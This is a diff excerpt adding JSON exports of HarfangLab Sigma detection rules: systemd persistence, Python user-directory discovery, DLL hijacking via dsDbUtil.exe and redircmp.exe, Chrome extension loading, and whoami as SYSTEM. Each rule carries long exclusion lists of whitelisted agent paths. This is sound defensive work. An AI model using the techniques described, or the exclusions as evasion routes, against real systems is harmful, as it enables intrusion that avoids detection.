'/opt/wapt/wapt-get.bin'\n\n    exclusion_nslcd:\n        ProcessCommandLine: '/bin/systemctl enable nslcd.service'\n        ProcessGrandparentCommandLine: '/usr/bin/python /sbin/authconfig *'\n\n    exclusion_rpm-tmp:\n        ProcessParentCommandLine: '/bin/sh /var/tmp/rpm-tmp.?????? ?'\n\n    exclusion_azure:\n        - ProcessCommandLine:\n            - systemctl enable azuremonitor-coreagent\n            - systemctl enable azuremonitor-agentlauncher\n            - systemctl enable azuremonitoragent\n          ProcessGrandparentCommandLine: 'python? ./agent.py -enable'\n        - ProcessCurrentDirectory|startswith: '/var/lib/waagent/Microsoft.'\n\n    exclusion_fsecure:\n        ProcessAncestors|contains: '|/opt/f-secure/linuxsecurity/bootstrap/sbin/fsbootstrap|'\n\n    exclusion_gpli:\n        ProcessCommandLine:\n            - 'systemctl enable glpi-agent'\n            - '/usr/bin/systemctl enable glpi-agent'\n        ProcessParentCommandLine:\n            - 'sh -c systemctl enable glpi-agent 2>/dev/null >/dev/null'\n            - '/tmp/.mount_glpi-*/usr/bin/perl /tmp/.mount_glpi-*/glpi-agent-appimage-hook --install *'\n\n    exclusion_sekoia:\n        ProcessCommandLine:\n            - 'systemctl enable SEKOIAEndpointAgentWatchdog.service'\n            - 'systemctl enable SEKOIAEndpointAgent.service'\n        ProcessParentImage:\n            - '/tmp/sekoia-agent.bin'\n            - '/var/lib/endpoint-agent/downloads/agent-linux-v?.?.?'\n\n    exclusion_nutanix:\n        ProcessCommandLine: 'systemctl enable nutanix-move.service'\n        ProcessParentCommandLine|contains:\n            - 'sh /tmp/nutanix_move_*/*/nutanix_move.sh '\n            - 'sh /var/tmp/nutanix_move_*/*/nutanix_move.sh '\n\n    exclusion_pcsd:\n        ProcessCommandLine:\n            - '/usr/bin/systemctl enable corosync.service'\n            - '/usr/bin/systemctl enable pacemaker.service'\n        ProcessCurrentDirectory: '/var/lib/pcsd/'\n\n    exclusion_udscan:\n        ProcessAncestors|contains: '|/opt/microfocus/Discovery/.discagnt/udscan|'\n\n    exclusion_bladelogic:\n        ProcessGrandparentImage: '/opt/bladelogic/*/NSH/sbin/bldeploy'\n\n    exclusion_insights_client:\n        ProcessCommandLine: 'systemctl enable --now insights-client.timer'\n        ProcessParentCommandLine|endswith: ' /usr/lib/python?.?/site-packages/insights_client/run.py --register'\n\n    exclusion_docker:\n        ProcessCommandLine:\n            - 'systemctl enable docker'\n            - 'systemctl enable docker.service'\n            - 'systemctl enable --now docker'\n\n    exclusion_cockpit:\n        ProcessAncestors|contains: '|/usr/bin/cockpit-bridge|'\n\n    exclusion_google:\n        ProcessAncestors|contains: '|/usr/bin/google_metadata_script_runner|'\n\n    exclusion_parentimage:\n        ProcessParentImage:\n            - '/opt/hurukai-agent/data/upgrade_x64.elf'\n            - '/opt/TrendMicro/EndpointBasecamp/bin/tmxbc'\n            - '/opt/dynatrace/oneagent/agent/lib64/oneagentosconfig'\n            - '/usr/bin/gitlab-runner'\n            - '/usr/bin/udevadm'\n            - '/GRANGLE/appserver/jdk/*/bin/java'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "76f5d309-089f-432f-9c01-a5fd1570ea3e",
+  "rule_name": "SystemD Service Enabled",
+  "rule_description": "Detects when a service is manually enabled with SystemD.\nEnabled services are services that will be automatically started when the system reboots.\nAdversaries may create or modify systemd services to automatically execute malicious payloads each time the system boots as part of persistence.\nIt is recommended to ensure that both a legitimate administrator enabled this service and that the service is not suspicious.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037",
+    "attack.t1543.002",
+    "attack.t1547",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7720b1f7-b754-4828-9b33-cf1ea6a52a8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295311Z",
+  "creation_date": "2026-03-23T11:45:35.295315Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295322Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/",
+    "https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html",
+    "https://www.manpagez.com/man/3/confstr/",
+    "https://attack.mitre.org/techniques/T1083/"
+  ],
+  "name": "t1083_python_confstr_user_dir.yml",
+  "content": "title: User Directory Discovered via Python\nid: 7720b1f7-b754-4828-9b33-cf1ea6a52a8e\ndescription: |\n    Detects the discovery of a user directory via the python3 os.confstr function.\n    Attackers may use it during the discovery phase of an attack to retrieve a user directory.\n    It is recommended to investigate the python script executed and to check for other suspicious activity by the parent process.\nreferences:\n    - https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/\n    - https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html\n    - https://www.manpagez.com/man/3/confstr/\n    - https://attack.mitre.org/techniques/T1083/\ndate: 2022/12/08\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/usr/bin/python'\n            - '/usr/bin/python2'\n            - '/usr/bin/python3'\n        # _CS_DARWIN_USER_DIR\n        CommandLine|contains|all:\n            - '-c'\n            - 'os.confstr(65536)'\n        ParentImage|contains: '?'\n\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7720b1f7-b754-4828-9b33-cf1ea6a52a8e",
+  "rule_name": "User Directory Discovered via Python",
+  "rule_description": "Detects the discovery of a user directory via the python3 os.confstr function.\nAttackers may use it during the discovery phase of an attack to retrieve a user directory.\nIt is recommended to investigate the python script executed and to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-12-08",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7733a4eb-7bdd-452b-a739-25c96d114aa5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587590Z",
+  "creation_date": "2026-03-23T11:45:34.587593Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587601Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsdbutil.yml",
+  "content": "title: DLL Hijacking via dsDbUtil.exe\nid: 7733a4eb-7bdd-452b-a739-25c96d114aa5\ndescription: |\n    Detects potential Windows DLL Hijacking via dsDbUtil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsDbUtil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dsrole.dll'\n            - '\\esent.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\srvcli.dll'\n            - '\\vssapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7733a4eb-7bdd-452b-a739-25c96d114aa5",
+  "rule_name": "DLL Hijacking via dsDbUtil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsDbUtil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "773cd711-d0cd-4d90-aa4d-7fa3addbe709",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076419Z",
+  "creation_date": "2026-03-23T11:45:34.076421Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076425Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/",
+    "https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_chrome_extensions_load_linux.yml",
+  "content": "title: Suspicious Extensions Loaded by Chrome-based Browser (Linux)\nid: 773cd711-d0cd-4d90-aa4d-7fa3addbe709\ndescription: |\n    Detects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\n    Adversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\n    It is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/\n    - https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/10/30\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.SensitiveInformation\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    product: linux\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|re: '--load-extension=[^ ]'\n        ProcessParentImage:\n            - '/usr/bin/xfce4-panel'\n            - '/usr/bin/gnome-shell'\n            - '/usr/bin/kde-open'\n            - '/usr/bin/plasmashell'\n            - '/usr/bin/cinnamon'\n\n    filter_expected_folder:\n        CommandLine|contains: '--load-extension=/usr/share/chromium/extensions/'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "773cd711-d0cd-4d90-aa4d-7fa3addbe709",
+  "rule_name": "Suspicious Extensions Loaded by Chrome-based Browser (Linux)",
+  "rule_description": "Detects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\nAdversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\nIt is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\n",
+  "rule_creation_date": "2024-10-30",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "77575317-f87a-49a1-b295-f2a7a23f75d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606040Z",
+  "creation_date": "2026-03-23T11:45:34.606044Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606051Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/operation-doubletap",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_whoami_windows_system.yml",
+  "content": "title: Whoami Execution by System\nid: 77575317-f87a-49a1-b295-f2a7a23f75d4\ndescription: |\n    Detects the execution of whoami.exe by the SYSTEM account.\n    This command is often used by attackers during the discovery phase.\n    This command being executed by the SYSTEM account may be related to an ongoing Local Privilege Escalation (LPE) vulnerability exploitation.\n    It is recommended to investigate the ancestors of the whoami process to determine if they are either linked with malicious processes, the result of a successful elevation of privileges or a legitimate administrative or applicative action.\nreferences:\n    - https://www.mandiant.com/resources/blog/operation-doubletap\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2023/12/15\nmodified: 2025/11/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    # whoami /groups\n    - attack.t1069\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\whoami.exe'\n        # Renamed binaries\n        - OriginalFileName: 'whoami.exe'\n\n    selection_system:\n        IntegrityLevel: 'System'\n        ParentImage|contains: '?'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\Program Files\\\\*\\\\*.exe'\n            - '?:\\Program Files (x86)\\\\*\\\\*.exe'\n\n    exclusion_grandparentimage:\n        GrandparentImage:\n            - '?:\\Program Files\\\\*\\\\*.exe'\n            - '?:\\Program Files (x86)\\\\*\\\\*.exe'\n            # IBM i Access Client Solutions\n            - '*\\Start_Programs\\Windows_i386-32\\acslaunch_win-32.exe'\n            - '*\\Start_Programs\\Windows_x86-64\\acslaunch_win-64.exe'\n            - '*\\ArcGIS\\Portal\\framework\\service\\bin\\ArcGISPortal.exe'\n            - '*\\ArcGIS\\Portal\\framework\\runtime\\jre\\bin\\javaw.exe'\n            - '*\\BMC Software\\Client Management\\Client\\bin\\mtxopswatproxy.exe'\n            - '?:\\wamp64\\bin\\apache\\apache?.?.??\\bin\\httpd.exe'\n            - '?:\\Windows\\LTSvc\\LTSVC.exe'\n            - '?:\\Windows\\Temp\\is-?????.tmp\\WinMerge-*-x64-Setup.tmp'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '?:\\Program Files (x86)\\Archimed\\Syracuse\\\\*\\Bin\\Communication\\Archimed.SyracuseIls.FileProviderService.exe'\n            - '?:\\Program Files (x86)\\Archimed\\Syracuse\\\\*\\Bin\\Core\\Services\\Archimed.TaskSchedulerService.exe'\n            - '?:\\U2\\unishared\\unirpc\\unirpcd.exe'\n            - '?:\\U2\\UV\\bin\\uvservice.exe'\n            - '?:\\Program Files (x86)\\Trend Micro\\SupportConnector\\SupportConnector.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe'\n            - '?:\\Program Files (x86)\\\\*\\NinjaRMMAgent.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptservice.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentservice.exe'\n            - '?:\\Program Files\\Common Files\\Acronis\\Agent\\bin\\adp-agent.exe'\n            - '?:\\Program Files\\Quest\\KACE\\konea.exe'\n            - '?:\\Program Files\\APC\\PowerChute\\jre_x64\\bin\\java.exe'\n            - '?:\\Program Files (x86)\\F-Secure\\PSB\\fshoster32.exe'\n\n    exclusion_commandline:\n        CommandLine: 'whoami /user /fo list'\n\n    exclusion_ccmcache:\n        CurrentDirectory|startswith: '?:\\Windows\\ccmcache\\'\n\n    exclusion_stormshield:\n        CurrentDirectory: '?:\\Program Files\\Stormshield\\Stormshield SSL VPN Client\\scripts\\'\n\n    exclusion_tivoli:\n        - ParentImage: '?:\\IBM\\ITM\\TMAITM6_x64\\\\*'\n        - CurrentDirectory: '?:\\IBM\\ITM\\TMAITM6_x64\\'\n\n    exclusion_openedge:\n        CommandLine: '?:\\Windows\\System32\\whoami.exe /USER /NH'\n        Ancestors|contains|all:\n            - '\\bin\\admsrvc.exe|'\n            - '\\jre\\bin\\java.exe|'\n\n    exclusion_intune:\n        ParentImage: '?:\\Windows\\System32\\msiexec.exe'\n        CurrentDirectory: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\'\n\n    exclusion_serviceportalagent:\n        ParentImage: '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\app-*\\emulator\\MmrAgent.NetFxEmulator.exe'\n        GrandparentImage: '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\app-*\\ServicePortalAgent.exe'\n\n    exclusion_azure:\n        ParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - '-Command & { whoami;ipmo '\n            - '?:\\Program Files\\Microsoft Azure AD Connect Health Agent\\Modules\\AdHealthConfiguration\\AdHealthConfiguration.psd1'\n            - '; Test-AzureADConnectHealthConnectivity -Role Sync'\n\n    exclusion_microsoft:\n        ProcessParentOriginalFileName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_schedule:\n        - GrandparentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\Windows\\System32\\taskeng.exe'\n        - ProcessParentGrandparentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\Windows\\System32\\taskeng.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "77575317-f87a-49a1-b295-f2a7a23f75d4",
+  "rule_name": "Whoami Execution by System",
+  "rule_description": "Detects the execution of whoami.exe by the SYSTEM account.\nThis command is often used by attackers during the discovery phase.\nThis command being executed by the SYSTEM account may be related to an ongoing Local Privilege Escalation (LPE) vulnerability exploitation.\nIt is recommended to investigate the ancestors of the whoami process to determine if they are either linked with malicious processes, the result of a successful elevation of privileges or a legitimate administrative or applicative action.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-11-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "77632f65-c971-408e-a7c3-eea122b534e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590938Z",
+  "creation_date": "2026-03-23T11:45:34.590942Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590949Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_redircmp.yml",
+  "content": "title: DLL Hijacking via redircmp.exe\nid: 77632f65-c971-408e-a7c3-eea122b534e2\ndescription: |\n    Detects potential Windows DLL Hijacking via redircmp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'redircmp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "77632f65-c971-408e-a7c3-eea122b534e2",
+  "rule_name": "DLL Hijacking via redircmp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via redircmp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7793d0ef-0704-4067-8070-87daf4186792",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075470Z",
+  "creation_date": "2026-03-23T11:45:34.075472Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075476Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/saving-your-access-d562bf5bf90b",
+    "https://attack.mitre.org/techniques/T1546/002/"
+  ],
+  "name": "t1546_0002_screensaver_persistence_execution.yml",
